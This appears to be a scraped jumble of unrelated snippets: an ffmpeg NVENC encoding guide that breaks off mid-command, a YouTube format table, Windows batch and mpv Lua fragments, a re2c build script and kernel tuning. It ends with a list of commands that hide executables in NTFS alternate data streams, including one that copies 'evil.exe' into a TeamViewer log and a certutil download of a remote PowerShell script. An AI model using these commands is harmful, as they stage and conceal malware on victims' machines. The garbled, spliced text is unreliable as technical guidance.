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FFmpeg and libav's playbook: Advanced encoding options with hardware-based acceleration, NVIDIA's NVENC and Intel's VAAPI-based encoder.

Hello guys,

Continuing from this guide to building ffmpeg and libav with NVENC and VAAPI enabled, this snippet will cover advanced options that you can use with ffmpeg and libav on both NVENC and VAAPI hardware-based encoders.

For ffmpeg:

Encoding high-quality HEVC content with FFmpeg - based NVENC encoder on supported hardware:

If you've built ffmpeg as instructed here on Linux and the ffmpeg binary is in your path, you can do fast HEVC encodes as shown below, using NVIDIA's NPP's libraries to vastly speed up the process.

Now, to do a simple NVENC encode in 1080p, (that will even work for Maxwell Gen 2 (GM200x) series), start with:

ffmpeg  -i <inputfile>  \
-filter:v hwupload_cuda,scale_npp=w=1920:h=1080:format=nv12:interp_algo=lanczos,hwdownload \

-c:v hevc_nvenc -profile main -preset slow -rc vbr_hq \

Last updated: December 2020

Also known as itag or format codes and way back they could be specified with the fmt parameter (e.g. &fmt=22). Depending on the age and/or popularity of the video, not all formats will be available.

DASH video

Resolution	AV1 HFR	AV1	VP9.2 HDR HFR	VP9 HFR	VP9	H.264 HFR	H.264
	MP4	MP4	WebM	WebM	WebM	MP4	MP4

	@echo off
	setlocal EnableDelayedExpansion

	ver \| find "10." > nul
	if errorlevel 1 (
	echo Your Windows version is not Windows 10... yet. Brace yourself, Windows 10 is coming^^!
	pause
	exit
	)

	-- Not my code: originally from https://redd.it/3t6s7k (author deleted; failed to ask for permission).
	-- Only tested on Windows. Date is set to dd/mmm/yy and time to machine-wide format.
	-- Save as "mpvhistory.lua" in your mpv scripts dir. Log will be saved to mpv default config directory.
	-- Make sure to leave a comment if you make any improvements/changes to the script!

	local HISTFILE = (os.getenv('APPDATA') or os.getenv('HOME')..'/.config')..'/mpv/mpvhistory.log';

	mp.register_event('file-loaded', function()
	local title, logfile;

	#!/usr/bin/env bash

	# Install re2c
	cd /tmp &&
	git clone --depth 1 https://github.com/skvadrik/re2c.git &&
	cd re2c/re2c &&
	./autogen.sh &&
	./configure --prefix=/usr &&
	make -j$(nproc) && make install &&
	rm -rf /tmp/re2c

	function fix_window_scale()
	local cws = mp.get_property("current-window-scale")
	if cws then mp.set_property("window-scale", cws) end
	end

	mp.register_event(
	"file-loaded", function () mp.add_timeout(1, fix_window_scale)
	end)

	### KERNEL TUNING ###

	# Increase size of file handles and inode cache
	fs.file-max = 2097152

	# Do less swapping
	vm.swappiness = 10
	vm.dirty_ratio = 60
	vm.dirty_background_ratio = 2

	# Adds 3-sec fading out title image before video.

	# What's going on here: We get title.png image, loop it for 3 sec video, create 3 sec silence, get video.mp4 (framerate 25). Next, we add fade out filter on looped image video, after that we concat our image video, audio silence and main video into one. Easy peasy.

	ffmpeg -loop 1 -framerate 25 -t 3 -i title.png -t 3 -f lavfi -i aevalsrc=0 -i video.mp4 -filter_complex '[0:0]fade=out:50:25:alpha=1[title]; [title][1:0][2:0][2:1] concat=n=2:v=1:a=1' output.mp4

	###Add content to ADS###
	type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
	extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
	findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
	certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
	makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
	print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
	reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
	regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
	expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat